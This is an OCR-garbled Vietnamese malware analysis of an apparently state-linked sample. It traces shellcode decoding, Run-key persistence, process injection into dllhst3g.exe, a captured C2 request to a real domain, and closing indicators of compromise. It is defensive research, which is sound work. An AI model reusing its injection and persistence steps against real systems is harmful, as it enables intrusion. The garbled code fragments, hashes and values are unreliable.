F= s es we we we ws we be e b

mov
mov
mov

I
lea
mov
mov

al
if [
B
BB
BB
58
BB
13
&B
88 *(_B)
B *(_BYTE

] break;

13
nt *))3(vd + *(_DWORD =)(*(_DWORD *){v3 + BxlC) + 4 * v11

Vi ham API GetProcAddress, shellcode sé 1ay dia chi cia cac ham API khac l1a LoadLibraryA, VirtualAlloc,
FreeLibraryA, Sleep:
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St dung ham VirtualAlloc dé cap phat mot ving nhé va goi ham decode_data() dé decode bytes trong shellcode

vao viing nh@ cap phat:

*(_BYTE *
¥
while { count

Tiép tuc st dung VirtualAlloc dé cap phat thém mot vung nhé khac véi kich thudce 14y tir vung nhé trén (dwSize =
SizeOfImage = PE_header + 0x50) va thiét 1ap ving nhé mdi nay la PAGE_EXECUTE_READWRITE:
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({int (__stdcall
L) »
*(_DWORD *)(pe_header + 0x5@),
ex1ee0,
9x48):

_DWORD, _DWORD, signed int, signed int))p

+ *{_DWORD *)(pe_header + 8x28):

*(_WORD *)(pe_h . ) header + @x18;
Sau khi 1dy duoc section header tai viing nhé 0x01880000 & trén, thuc hién vong ldp dé copy toan bo céac section
data sang vung nhé méi dwgc cap phat:

p_VirtualAlloc = @:
if ( *(_WORD *)(pe_

+ Bx14);

(_BYTE *)

raw_data -

}

Tién hanh resolve toan bg dia chi API ghi lai vao IAT cta ving nhé mdi:
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I readld
val Addatoml

WriteConso
lelnfob

Sau khi 14y dia chi cta toan bd cac API can thiét, si dung lénh call dé nhay t&i vung nhé dé thure hién 1énh:

((void (__stdcall *)(int, signed int, _DWORD))addr_ep)(pp_mem2, i, ©);
p_Sleep(@xFFFFFFFF);
return 8;

Tiép tuc debug xuyén qua nhiéu 16p call sé t&i doan goi ham CreateThread d€é tao mot thread mai:

~ Address |Valus

DOECEACT IS

Di t6i ThreadFunction tai dia chi 0x01EE35D0. Code tai day thuc hién 1ay thong tin binary cé san ciia Windows
la dllhst3g.exe:
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INICODE “Ydllhst3g

Tao mot thread khac lam nhiém vu tao Persistent trong Registry
HKEY_LOCAL_MACHINE\SOF TWARE\Microsoft\Windows\CurrentVersion\Run:

AAFET4
LAFE

ab Windows HD Audio Manager REG_5Z

Chilsers\REM A ppDats’ Foamang UMICRDS- TWindows\ PRINTE ~ TWOcConsolere -LowintegritySenver

Goi ham WritePrivateProfileStringW dé ghi string vao file tai “C:\ProgramData\desktop.ini”:

+ Address |Yalue Coamemirt

C:\ProzramData'desktop. ini”

es = HIDDEN | STSTEN

e

FileAttribut

| desktop ini ','Ji

B [ Langmages ]

symbolfile=F3 Qulqg{*TALUDusLcp® Zkdknh® [Hadsipja}¥Wlggkqz XpojulwkP mvu' }pwIVeDhm{hm(f}b

L

Tao mét Mutex {986AFDE7-F299—4A7D-BBF4-CA756FC01F1B65027208}, tuy nhién handle tGi mutext nay sé
bi dong ngay sau do:

O1EEZTCH
—
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1 - L LLILIRIRIRAE N 1 g A L TERL ] L B}
L Find Handles or DLLs
Fiter: | (SBEAFDE7 |Facw:
Process Type Mame Handle
QeConsal.exe (3943) Mutant \Gessions|1\BaseNamedObjects\[386AFDET-F 299-4AT0-BBF4-CATSEFC 27 208} Ox 268

Tiép tuc st dung bo API CreateFileW, GetFileSize, VirtualAlloc, ReadFile dé mot 1an nita doc ra ngi dung dugc
lwu trong file %AppData%\Microsoft\Windows\Printer Shortcuts\stdole.tlb va thyc hién decode dit liéu giong

nhw da noi ¢ budc trudc:

Press enter or click to view image in full size

1|48 FF FF FF|FF

Thue hién ki thuat inject code bang cach goi ham CreateProcessW dé khai dong tién trinh dllhst3g.exe & trang

thai Suspended:

| ‘B ProcessHacker e 3464 .72 1206 ME REMWorkstation\REM  Process Hacker Trugted Wen Ka Liu

CPUUsa0& 628% PH  COM Surremsts 6.2 060016308 »

288 | Value

Cap phat vung nhé trong tién trinh nay thong qua ham VirtualAllocEXx:
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iy 3 i T T ST WAL L A T R T R L VTR e WL
(] C¥vindows WinS xS 86 _microsoft.windows.com... 0104
Process diat3g.exe (2537) Onced
Thresd dihstlg exe (2537): 1996 Onc2eB
L HKCU Ow158
Key HKCUSoftware Onclbs
Key HKOUNSaftwans Marosaftintarmat Explores Main Ol
Key HEOUNSofiware Miarosoftiinternet Explorer'Main),..  Owl%c

Goi ham WriteProcessMemory dé ghi dit liéu tit 0x00F90000 (buffer chita data da decode cta stdole.tlb) vao
vung nhd da cap phat tai tién trinh dllhst3g.exe, dat lai thread context va resume thread. Liic nay dllhst3g.exe sé
thyc thi binh thwdng va thyc thi luén malicious code:

|
£ N = =
- Gy :-[J s (2532 Froperties = n
CPU Uhsge LM% Phyical mamans 284001 ME [I7.70%) Peocerces 80
~ Address |Yalus Conrent Ernvironment Handes Juiby (=21 D v M b Commeng
Fl Gereral Satwtes Performance Trreads. Ty Modules Memary
o Hide free regoes Sirings.. Befresh
Barie ackdreid Tie Size Protect.. Use
D TDD00 Prisiahe: tEE R
e P00 Mapceed k8 B
O FD000 Privaie 25548 R Sinck (thwead 1995)
O P00 - ] 158 R
O TR000 Frvadte BkE AW
o (B0 Prreiase HEEE RWY
bt D00 Prrvate: Commat LEER W
0 1 20000 Image 4kE WO CriWindows EystemI\dl

. dilhst3g.exe (2532) (00000 - (E25000 - o [IEl

8. Debug dllhst3g.exe

Hoan thanh xong viéc inject code vao dllhst3g.exe sé goi ExitProcess dé két thiic tién trinh QcConsol.exe va tiép
tuc thuee thi tién trinh dllhst3g.exe. Do dllhst3g.exe bi inject code cua file stdole.tlb sau khi decode trén bo nhd,
nén cach thitc hoat dong cling twong tw. BE co thé debug xem dllhst3g.exe sé lam gi thi trudc khi thuc hién budc
WriteProcessMemory O trén, sita 2 bytes dau la 0x50 0x68 thanh 0xEB 0xFE. Sau khi resume thread, mé mot
debugger khdc dé attach va khéi phuc lai 2 bytes dd bi stra.

Lic nay, debug sé thay code tao mot mutext va doc lai ndi dung tw file “C:\ProgramData\desktop.ini” va decode

string trong file nay thanh:

awFoaming\Wicrosoft \Windows \Pr

Gaén thém tham s6: 0206F4E4 00D80B30 UNICODE
“»?C:\Users\REM\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\QcConsol.exe” -LowlIntegrityServer”
va goi ham WinExec dé thuc thi

Address |Valus
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Tién trinh m&i nay sé két néi téi C2 (O ddy téi dang ldi traffic vé REMnux):

Processes | Services | Network | Disk |

=

Mame Local address Local... Remote address Rem... Prot.. State

(7 Isass.exe (572) 0.0.0.0 49156 TCP  Listen

[0 Isass.exe (572) 5 49136 TCP6  Listen
[@chnnsa!.m (1396) 192.168.65.129 49415 192.168.65.131 33 TCP  Established

(27 services.exe (552) 0.0.0.0 49157 TCP  Listen

Tai mdy REMnux, stt dung wireshark sé capture dugc thong tin nhu hinh:

GET /link?url=pJWkuZWcHDUy&enpl=JEppeA==Rencd=(QTkJSDE= HTTP/1.1

User-Agent: Mozillas4.8 (compatible; MSIE 8.0; Win32)

Host: login.dangquanwatch.com

Cache-Control: no-cache

Cookie: elyLAGZgeAHEBVTh2aVR4cm+LgGVDCAQSOobTh/
kHRziGOLpTReABsIz8yzBDBUILMZQZUCACagZmzgUMAT xCxAbWhr pGZpZ6ImZ6hk aWe LRQAEWM ] COMDQwxOr MwlAACDUR+(==

HTTP/1.1 288 0K

Date: Sat, 83 Wov 2018 10:89:56 GMT
Content-Length: 258

Content-Type: text/html

9. I0Cs

Domain: login[dot]dangquanwatch[dot]Jcom / IP: 185.77.129.142

RTF: b45087ad4f7d84758046e9d6eb174530fee98b069105a78f124cbdelecfb0415

8.t: 6328dd14eda2ef983810c0c7b3af47298b5998e4fa52d97b204be2818f08bb69

Binary:

QcConsol.exe: 9f3114e48dd0245467fd184bb9655a5208fa7d13e2fe06514d1f3d61ce8b8770
QcLite.dll: 5b652205b1c248e5d5fc0eb5f53c5754df829ed2479687d4f14c2e08fbf87e76
Others:

stdole.tlb: ba620bad026f25ba6decc4bdcefc6415b563503cf9eaddc4el137a5871d5cee2
desktop.ini: 31c2be9ca29fb2bd8096720c221ee9682f013eee119b02d390d6efc12684392d
Registry:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run &
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

ValueName: Windows HD Audio Manager

Data: %AppData%\MICROS~1\Windows\PRINTE~1\QcConsol.exe -LowIntegrityServer
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Source: https://tradahacking.vn/1%C3%A0-1937cn-hay-oceanlotus-hay-lazarus-6cal5fe1b241
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